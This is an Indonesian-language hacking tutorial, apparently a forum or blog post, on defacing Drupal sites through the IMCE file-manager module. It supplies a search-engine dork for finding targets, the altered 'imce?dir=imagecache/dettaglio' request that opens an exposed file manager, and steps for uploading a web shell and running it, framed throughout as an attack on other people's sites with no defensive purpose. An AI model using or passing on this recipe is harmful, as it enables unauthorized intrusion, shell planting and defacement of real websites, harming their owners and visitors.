Deface Dengan IMCE Dir Exploit Drupal

Hello World!!
Hello Anonymous!!

Sejujurnya saya Malas Posting tapi gapapa bagi bagi ilmu sekalian :v

Okee!
Langsung Ke TKP bung ~
Dork :inurl:"/imce?dir=" tambahkan site: dibelakang dork ~ kembanngin lagi kali aja ada yang cocok dan sehati :v

saya anggap .. kalian sudah dapat target yak ~
targetnya hrus di ingat! yang ada imce?dir= setelah localhost
kalau sudah
langsung Exploit
dengan ini :
imce?dir=imagecache/dettaglio

berarti yang tadinya hanya
http://www.localhost/imce?dir=images
exploit menjadi
ww.localhost/imce?dir=imagecache/dettaglio

kalau sukses dan kebuka file managernya langsung UPLOAD Shell anda melalui form upload yang ada diatas sebelah kiri
tapi kalau ada bacaan
Directory imagecache/dettaglio is not accessible. Unable to get a working directory for the file browser!

artinya ga VULN~ dan ga bsa kebaca okee !!!

yasudah ~
sekian terima GAJI yak !!!
Shell acces :
just klik 2x file upload an yang tadi diupload ada di file manager (Same Like POC Editor Manager/spaw upload~
thank's before

GOOD LUCK !!

Kalo copas di kasih Sumber Nya Bos